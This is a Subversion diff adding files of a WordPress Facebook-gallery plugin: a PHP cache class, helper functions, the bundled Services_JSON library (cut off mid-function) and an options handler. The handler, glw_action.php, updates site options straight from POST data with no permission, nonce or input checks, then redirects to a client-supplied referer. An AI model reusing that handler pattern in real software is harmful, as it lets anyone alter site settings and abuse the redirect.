+	Function retrievefromcache(&$data,&$endofcache)
+	{
+		if(!($this->read_cache_file_opened))
+		{
+			$this->error='cache file is not set for retrieving cached data';
+			return 0;
+		}
+		if($this->write_cache_file_opened)
+		{
+			$this->error='cache file is still opened for writing';
+			return 0;
+		}
+		$success=$this->cachebufferlength($length);
+		if($success)
+			$success=($length==0 || $this->readcachedata($data,$length));
+		if(!($success))
+		{
+			@flock($this->read_cache_file,3);
+			fclose($this->read_cache_file);
+			$this->read_cache_file_opened=0;
+			return 0;
+		}
+		if($length==0)
+			$endofcache=1;
+		else
+		{
+			if(!($this->endofcache($endofcache)))
+			{
+				@flock($this->read_cache_file,3);
+				fclose($this->read_cache_file);
+				$this->read_cache_file_opened=0;
+				return 0;
+			}
+		}
+		if(!($endofcache))
+			return 1;
+		@flock($this->read_cache_file,3);
+		fclose($this->read_cache_file);
+		$this->read_cache_file_opened=0;
+		return 1;
+	}
+	
+	Function closecache()
+	{
+		if($this->read_cache_file_opened || $this->write_cache_file_opened)
+		{
+			@flock($this->read_cache_file,3);
+			$this->read_cache_file_opened=0;
+		}
+		if($this->read_cache_file_opened)
+		{
+			fclose($this->read_cache_file);
+			$this->read_cache_file_opened=0;
+		}
+		if($this->write_cache_file_opened)
+		{
+			fclose($this->write_cache_file);
+			$this->write_cache_file_opened=0;
+		}
+	}
+	
+	Function voidcache()
+	{
+		if($this->read_cache_file_opened)
+		{
+			$this->error='can not void cache with the file open for reading';
+			return 0;
+		}
+		if(!strcmp($this->path,''))
+		{
+			$this->error='it was not specified the cache file path';
+			return 0;
+		}
+		if(!(file_exists($this->path)))
+			return 1;
+		if(!((($this->read_cache_file=@fopen($this->path,'ab'))!=0)))
+		{
+			$this->error='could not open the cache file for reading';
+			return 0;
+		}
+		if(!(@flock($this->read_cache_file,2)))
+		{
+			fclose($this->read_cache_file);
+			$this->error='could not lock exclusive cache file';
+			return 0;
+		}
+		$success=(($this->write_cache_file=@fopen($this->path,'wb'))!=0);
+		if($success)
+			fclose($this->write_cache_file);
+		@flock($this->read_cache_file,3);
+		fclose($this->read_cache_file);
+		$this->error='could not open cache file for writing';
+		unlink($this->path);
+		return $success;
+	}
+	
+	Function updating(&$updating)
+	{
+		if($this->read_cache_file_opened)
+		{
+			$this->error='the cache file is already opened for reading';
+			return 0;
+		}
+		if(!strcmp($this->path,''))
+		{
+			$this->error='it was not specified the cache file path';
+			return 0;
+		}
+		$updating=0;
+		if(!(file_exists($this->path)))
+			return 1;
+		if(!((($this->read_cache_file=@fopen($this->path,'rb'))!=0)))
+		{
+			$this->error='could not open cache file for reading';
+			return 0;
+		}
+		if(@flock($this->read_cache_file,5))
+			@flock($this->read_cache_file,3);
+		else
+			$updating=1;
+		fclose($this->read_cache_file);
+		return 1;
+	}
+	
+	Function setheader($header,$value)
+	{
+		if(GetType(strpos($header,' '))=='integer')
+		{
+			$this->error='it was specified a header name with a space in it';
+			return 0;
+		}
+		$lowerheader=strtolower($header);
+		if(IsSet($this->headers[$lowerheader]))
+		{
+			$this->error='it was specified a header already defined';
+			return 0;
+		}
+		$this->headers[$lowerheader]=$value;
+		return 1;
+	}
+	
+	Function setexpirydate($date)
+	{
+		if(!($this->setheader('x-expires:',$date)))
+			return 0;
+		if($this->automatic_headers)
+			return $this->setheader('expires:',gmstrftime('%a, %d %b %Y %H:%M:%S GMT',mktime(substr($date,11,2),substr($date,14,2),substr($date,17,2),substr($date,5,2),substr($date,8,2),substr($date,0,4))));
+		return 1;
+	}
+	
+	Function setexpirytime($time)
+	{
+		if($time<=0)
+		{
+			$this->error='it was not specified a valid expiry time period';
+			return 0;
+		}
+		return $this->setexpirydate(strftime('%Y-%m-%d %H:%M:%S',time()+$time));
+	}
+};
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/functions.php	(revision 44)
@@ -0,0 +1,25 @@
+<?php 
+function begtoend($htmltag){
+    return preg_replace('/<([A-Za-z]+)>/','</$1>',$htmltag);
+}
+function replace_pcre_array($text,$array){
+    $pattern = array_keys($array);
+    $replace = array_values($array);
+    $text = preg_replace($pattern,$replace,$text);
+    return $text;
+}
+    function ezDate($d) {
+        $ts = time() - $d;
+       
+        if($ts>31536000) $val = round($ts/31536000,0).' year';
+        else if($ts>2419200) $val = round($ts/2419200,0).' month';
+        else if($ts>604800) $val = round($ts/604800,0).' week';
+        else if($ts>86400) $val = round($ts/86400,0).' day';
+        else if($ts>3600) $val = round($ts/3600,0).' hour';
+        else if($ts>60) $val = round($ts/60,0).' minute';
+        else $val = $ts.' second';
+       
+        if($val>1) $val .= 's';
+        return $val;
+    }
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/glw_action.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/glw_action.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/glw_action.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('lib.php');
+
+			if (!get_option('facebook_gallery_widget_colums') && get_option('facebook_gallery_widget_colums')!='') 
+			{
+				add_option("facebook_gallery_widget_colums", $_POST['fbgl_colums'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_colums", $_POST['fbgl_colums'], '', 'yes');
+			}	
+
+			if (!get_option('facebook_gallery_widget_rows') && get_option('facebook_gallery_widget_rows')!='') 
+			{
+				add_option("facebook_gallery_widget_rows", $_POST['fbgl_rows'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_rows", $_POST['fbgl_rows'], '', 'yes');
+			}		
+ 
+			if (!get_option('facebook_gallery_widget_spacing') && get_option('facebook_gallery_widget_spacing')!='') 
+			{
+				add_option("facebook_gallery_widget_spacing", $_POST['fbspacing'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_spacing", $_POST['fbspacing'], '', 'yes');
+			}	
+			
+			if (!get_option('facebook_gallery_widget_padding') && get_option('facebook_gallery_widget_padding')!='') 
+			{
+				add_option("facebook_gallery_widget_padding", $_POST['fbpadding'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_padding", $_POST['fbpadding'], '', 'yes');
+			}	
+
+			if (!get_option('facebook_gallery_widget_title') && get_option('facebook_gallery_widget_title')!='') 
+			{
+				add_option("facebook_gallery_widget_title", $_POST['fbtitle'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_title", $_POST['fbtitle'], '', 'yes');
+			}	
+
+			if (!get_option('facebook_gallery_widget_class') && get_option('facebook_gallery_widget_class')!='') 
+			{
+				add_option("facebook_gallery_widget_class", $_POST['fbclass'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_class", $_POST['fbclass'], '', 'yes');
+			}	
+
+			if (!get_option('facebook_gallery_widget_height') && get_option('facebook_gallery_widget_height')!='') 
+			{
+				add_option("facebook_gallery_widget_height", $_POST['fbheight'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_height", $_POST['fbheight'], '', 'yes');
+			}	
+
+			if (!get_option('facebook_gallery_widget_width') && get_option('facebook_gallery_widget_width')!='') 
+			{
+				add_option("facebook_gallery_widget_width", $_POST['fbwidth'], '', 'yes');
+			} else {
+				update_option("facebook_gallery_widget_width", $_POST['fbwidth'], '', 'yes');
+			}		
+	
+			if (!get_option('facebook_photo_cache') && get_option('facebook_photo_cache')!='') 
+			{
+				add_option("facebook_photo_cache", $_POST['fbcache'], '', 'yes');
+			} else {
+				update_option("facebook_photo_cache", $_POST['fbcache'], '', 'yes');
+			}
+	
+header('Location:'.$_POST['_wp_http_referer']);		
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/index.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/*
+Plugin Name: Wordbook
+Plugin URI: http://wordbook.ferdinand.rs/
+Description: Complete Wordpress-Facebook integration. For support visit <a href="http://wordbook.ferdinand.rs/">community forums</a>
+Version: 0.47.6
+Author: Vladimir Cvetic @ Ferdinand Development
+Author URI: http://www.hazaah.com/
+*/
+require_once('lib.php');
+$wpfbg = new wpfbg();
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/json.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/json.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/json.php	(revision 44)
@@ -0,0 +1,806 @@
+<?php
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+
+/**
+ * Converts to and from JSON format.
+ *
+ * JSON (JavaScript Object Notation) is a lightweight data-interchange
+ * format. It is easy for humans to read and write. It is easy for machines
+ * to parse and generate. It is based on a subset of the JavaScript
+ * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
+ * This feature can also be found in  Python. JSON is a text format that is
+ * completely language independent but uses conventions that are familiar
+ * to programmers of the C-family of languages, including C, C++, C#, Java,
+ * JavaScript, Perl, TCL, and many others. These properties make JSON an
+ * ideal data-interchange language.
+ *
+ * This package provides a simple encoder and decoder for JSON notation. It
+ * is intended for use with client-side Javascript applications that make
+ * use of HTTPRequest to perform server communication functions - data can
+ * be encoded into JSON notation for use in a client-side javascript, or
+ * decoded from incoming Javascript requests. JSON format is native to
+ * Javascript, and can be directly eval()'ed with no further parsing
+ * overhead
+ *
+ * All strings should be in ASCII or UTF-8 format!
+ *
+ * LICENSE: Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met: Redistributions of source code must retain the
+ * above copyright notice, this list of conditions and the following
+ * disclaimer. Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * @category
+ * @package     Services_JSON
+ * @author      Michal Migurski <mike-json@teczno.com>
+ * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
+ * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
+ * @copyright   2005 Michal Migurski
+ * @version     CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $
+ * @license     http://www.opensource.org/licenses/bsd-license.php
+ * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
+ */
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_SLICE',   1);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_STR',  2);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_ARR',  3);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_OBJ',  4);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_CMT', 5);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_LOOSE_TYPE', 16);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
+
+/**
+ * Converts to and from JSON format.
+ *
+ * Brief example of use:
+ *
+ * <code>
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ * </code>
+ */
+class Services_JSON
+{
+   /**
+    * constructs a new JSON instance
+    *
+    * @param    int     $use    object behavior flags; combine with boolean-OR
+    *
+    *                           possible values:
+    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
+    *                                   "{...}" syntax creates associative arrays
+    *                                   instead of objects in decode().
+    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
+    *                                   Values which can't be encoded (e.g. resources)
+    *                                   appear as NULL instead of throwing errors.
+    *                                   By default, a deeply-nested resource will
+    *                                   bubble up with an error, so all return values
+    *                                   from encode() should be checked with isError()
+    */
+    function Services_JSON($use = 0)
+    {
+        $this->use = $use;
+    }
+
+   /**
+    * convert a string from one UTF-16 char to one UTF-8 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf16  UTF-16 character
+    * @return   string  UTF-8 character
+    * @access   private
+    */
+    function utf162utf8($utf16)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+        }
+
+        $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+        switch(true) {
+            case ((0x7F & $bytes) == $bytes):
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x7F & $bytes);
+
+            case (0x07FF & $bytes) == $bytes:
+                // return a 2-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xC0 | (($bytes >> 6) & 0x1F))
+                     . chr(0x80 | ($bytes & 0x3F));
+
+            case (0xFFFF & $bytes) == $bytes:
+                // return a 3-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xE0 | (($bytes >> 12) & 0x0F))
+                     . chr(0x80 | (($bytes >> 6) & 0x3F))
+                     . chr(0x80 | ($bytes & 0x3F));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * convert a string from one UTF-8 char to one UTF-16 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf8   UTF-8 character
+    * @return   string  UTF-16 character
+    * @access   private
+    */
+    function utf82utf16($utf8)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+        }
+
+        switch(strlen($utf8)) {
+            case 1:
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return $utf8;
+
+            case 2:
+                // return a UTF-16 character from a 2-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x07 & (ord($utf8{0}) >> 2))
+                     . chr((0xC0 & (ord($utf8{0}) << 6))
+                         | (0x3F & ord($utf8{1})));
+
+            case 3:
+                // return a UTF-16 character from a 3-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr((0xF0 & (ord($utf8{0}) << 4))
+                         | (0x0F & (ord($utf8{1}) >> 2)))
+                     . chr((0xC0 & (ord($utf8{1}) << 6))
+                         | (0x7F & ord($utf8{2})));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * encodes an arbitrary variable into JSON format
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encode($var)
+    {
+        switch (gettype($var)) {
+            case 'boolean':
+                return $var ? 'true' : 'false';
+
+            case 'NULL':
+                return 'null';
+
+            case 'integer':
+                return (int) $var;
+
+            case 'double':
+            case 'float':
+                return (float) $var;
+
+            case 'string':
+                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+                $ascii = '';
+                $strlen_var = strlen($var);
+
+               /*
+                * Iterate over every character in the string,
+                * escaping with a slash or encoding to UTF-8 where necessary
+                */
+                for ($c = 0; $c < $strlen_var; ++$c) {
+
+                    $ord_var_c = ord($var{$c});
+
+                    switch (true) {
+                        case $ord_var_c == 0x08:
+                            $ascii .= '\b';
+                            break;
+                        case $ord_var_c == 0x09:
+                            $ascii .= '\t';
+                            break;
+                        case $ord_var_c == 0x0A:
+                            $ascii .= '\n';
+                            break;
+                        case $ord_var_c == 0x0C:
+                            $ascii .= '\f';
+                            break;
+                        case $ord_var_c == 0x0D:
+                            $ascii .= '\r';
+                            break;
+
+                        case $ord_var_c == 0x22:
+                        case $ord_var_c == 0x2F:
+                        case $ord_var_c == 0x5C:
+                            // double quote, slash, slosh
+                            $ascii .= '\\'.$var{$c};
+                            break;
+
+                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+                            // characters U-00000000 - U-0000007F (same as ASCII)
+                            $ascii .= $var{$c};
+                            break;
+
+                        case (($ord_var_c & 0xE0) == 0xC0):
+                            // characters U-00000080 - U-000007FF, mask 110XXXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+                            $c += 1;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF0) == 0xE0):
+                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}));
+                            $c += 2;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF8) == 0xF0):
+                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}));
+                            $c += 3;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFC) == 0xF8):
+                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}));
+                            $c += 4;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFE) == 0xFC):
+                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}),
+                                         ord($var{$c + 5}));
+                            $c += 5;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+                    }
+                }
+
+                return '"'.$ascii.'"';
+
+            case 'array':
+               /*
+                * As per JSON spec if any array key is not an integer
+                * we must treat the the whole array as an object. We
+                * also try to catch a sparsely populated associative
+                * array with numeric keys here because some JS engines
+                * will create an array with empty indexes up to
+                * max_index which can cause memory issues and because
+                * the keys, which may be relevant, will be remapped
+                * otherwise.
+                *
+                * As per the ECMA and JSON specification an object may
+                * have any string as a property. Unfortunately due to
+                * a hole in the ECMA specification if the key is a
+                * ECMA reserved word or starts with a digit the
+                * parameter is only accessible using ECMAScript's
+                * bracket notation.
+                */
+
+                // treat as a JSON object
+                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+                    $properties = array_map(array($this, 'name_value'),
+                                            array_keys($var),
+                                            array_values($var));
+
+                    foreach($properties as $property) {
+                        if(Services_JSON::isError($property)) {
+                            return $property;
+                        }
+                    }
+
+                    return '{' . join(',', $properties) . '}';
+                }
+
+                // treat it like a regular array
+                $elements = array_map(array($this, 'encode'), $var);
+
+                foreach($elements as $element) {
+                    if(Services_JSON::isError($element)) {
+                        return $element;
+                    }
+                }
+
+                return '[' . join(',', $elements) . ']';
+
+            case 'object':
+                $vars = get_object_vars($var);
+
+                $properties = array_map(array($this, 'name_value'),
+                                        array_keys($vars),
+                                        array_values($vars));
+
+                foreach($properties as $property) {
+                    if(Services_JSON::isError($property)) {
+                        return $property;
+                    }
+                }
+
+                return '{' . join(',', $properties) . '}';
+
+            default:
+                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                    ? 'null'
+                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+        }
+    }
+
+   /**
+    * array-walking function for use in generating JSON-formatted name-value pairs
+    *
+    * @param    string  $name   name of key to use
+    * @param    mixed   $value  reference to an array element to be encoded
+    *
+    * @return   string  JSON-formatted name-value pair, like '"name":value'
+    * @access   private
+    */
+    function name_value($name, $value)
+    {
+        $encoded_value = $this->encode($value);
+
+        if(Services_JSON::isError($encoded_value)) {
+            return $encoded_value;
+        }
+
+        return $this->encode(strval($name)) . ':' . $encoded_value;
+    }
+
+   /**
+    * reduce a string by removing leading and trailing comments and whitespace
+    *
+    * @param    $str    string      string value to strip of comments and whitespace
+    *
+    * @return   string  string value stripped of comments and whitespace
+    * @access   private
+    */
+    function reduce_string($str)
+    {
+        $str = preg_replace(array(
+
+                // eliminate single line comments in '// ...' form
+                '#^\s*//(.+)$#m',
+
+                // eliminate multi-line comments in '/* ... */' form, at start of string
+                '#^\s*/\*(.+)\*/#Us',
+
+                // eliminate multi-line comments in '/* ... */' form, at end of string
+                '#/\*(.+)\*/\s*$#Us'
+
+            ), '', $str);
+
+        // eliminate extraneous space
+        return trim($str);
+    }
+
+   /**
+    * decodes a JSON string into appropriate variable
+    *
+    * @param    string  $str    JSON-formatted string
+    *
+    * @return   mixed   number, boolean, string, array, or object
+    *                   corresponding to given JSON input string.
+    *                   See argument 1 to Services_JSON() above for object-output behavior.
+    *                   Note that decode() always returns strings
+    *                   in ASCII or UTF-8 format!
+    * @access   public
+    */
+    function decode($str)
+    {
+        $str = $this->reduce_string($str);
+
+        switch (strtolower($str)) {
+            case 'true':
+                return true;
+
+            case 'false':
+                return false;
+
+            case 'null':
+                return null;
+
+            default:
+                $m = array();
+
+                if (is_numeric($str)) {
+                    // Lookie-loo, it's a number
+
+                    // This would work on its own, but I'm trying to be
+                    // good about returning integers where appropriate:
+                    // return (float)$str;
+
+                    // Return float or int, as appropriate
+                    return ((float)$str == (integer)$str)
+                        ? (integer)$str
+                        : (float)$str;
+
+                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+                    // STRINGS RETURNED IN UTF-8 FORMAT
+                    $delim = substr($str, 0, 1);
+                    $chrs = substr($str, 1, -1);
+                    $utf8 = '';
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+                        $ord_chrs_c = ord($chrs{$c});
+
+                        switch (true) {
+                            case $substr_chrs_c_2 == '\b':
+                                $utf8 .= chr(0x08);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\t':
+                                $utf8 .= chr(0x09);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\n':
+                                $utf8 .= chr(0x0A);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\f':
+                                $utf8 .= chr(0x0C);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\r':
+                                $utf8 .= chr(0x0D);
+                                ++$c;
+                                break;
+
+                            case $substr_chrs_c_2 == '\\"':
+                            case $substr_chrs_c_2 == '\\\'':
+                            case $substr_chrs_c_2 == '\\\\':
+                            case $substr_chrs_c_2 == '\\/':
+                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+                                    $utf8 .= $chrs{++$c};
+                                }
+                                break;
+
+                            case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)):
+                                // single, escaped unicode character
+                                $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2)))
+                                       . chr(hexdec(substr($chrs, ($c + 4), 2)));
+                                $utf8 .= $this->utf162utf8($utf16);
+                                $c += 5;
+                                break;
+
+                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+                                $utf8 .= $chrs{$c};
+                                break;
+
+                            case ($ord_chrs_c & 0xE0) == 0xC0:
+                                // characters U-00000080 - U-000007FF, mask 110XXXXX
+                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 2);
+                                ++$c;
+                                break;
+
+                            case ($ord_chrs_c & 0xF0) == 0xE0:
+                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 3);
+                                $c += 2;
+                                break;
+
+                            case ($ord_chrs_c & 0xF8) == 0xF0:
+                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 4);
+                                $c += 3;
+                                break;
+
+                            case ($ord_chrs_c & 0xFC) == 0xF8:
+                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 5);
+                                $c += 4;
+                                break;
+
+                            case ($ord_chrs_c & 0xFE) == 0xFC:
+                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 6);
+                                $c += 5;
+                                break;
+
+                        }
+
+                    }
+
+                    return $utf8;
+
+                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+                    // array, or object notation
+
+                    if ($str{0} == '[') {
+                        $stk = array(SERVICES_JSON_IN_ARR);
+                        $arr = array();
+                    } else {
+                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = array();
+                        } else {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = new stdClass();
+                        }
+                    }
+
+                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
+                                           'where' => 0,
+                                           'delim' => false));
+
+                    $chrs = substr($str, 1, -1);
+                    $chrs = $this->reduce_string($chrs);
+
+                    if ($chrs == '') {
+                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                            return $arr;
+
+                        } else {
+                            return $obj;
+
+                        }
+                    }
+
+                    //print("\nparsing {$chrs}\n");
+
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+                        $top = end($stk);
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+
+                        if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+                            // found a comma that is not inside a string, array, etc.,
+                            // OR we've reached the end of the character list
+                            $slice = substr($chrs, $top['where'], ($c - $top['where']));
+                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+                            //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                                // we are in an array, so just push an element onto the stack
+                                array_push($arr, $this->decode($slice));
+
+                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                                // we are in an object, so figure
+                                // out the property name and set an
+                                // element in an associative array,
+                                // for now
+                                $parts = array();
+                                
